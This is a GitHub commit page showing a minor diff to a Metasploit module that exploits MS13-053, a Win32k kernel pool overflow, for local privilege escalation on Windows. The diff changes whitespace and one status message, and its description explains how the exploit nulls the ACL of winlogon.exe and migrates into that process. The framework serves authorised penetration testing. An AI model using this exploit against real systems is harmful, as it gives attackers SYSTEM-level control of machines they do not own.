Skip to content

Commit

Permalink
Merge pull request #3 from Meatballs1/pr3090
Browse files Browse the repository at this point in the history
Pr3090
  • Loading branch information
kyuz0 committed May 2, 2014
2 parents d9ad78e + 56c5eac commit faaf078
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions modules/exploits/windows/local/ms13_053_schlamperei.rb
Original file line number Diff line number Diff line change
Expand Up @@ -15,13 +15,13 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)',
'Description' => %q{
A kernel pool overflow in Win32k which allows local privilege escalation.
The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
This allows any unprivileged process to freely migrate to winlogon.exe, achieving
privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox.
NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.
Expand Down Expand Up @@ -106,7 +106,7 @@ def exploit
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_status("Operation failed. Trying to elevate the current process...")
print_status("Operation failed. Hosting exploit in the current process...")
process = client.sys.process.open
end

Expand Down

0 comments on commit faaf078

Please sign in to comment.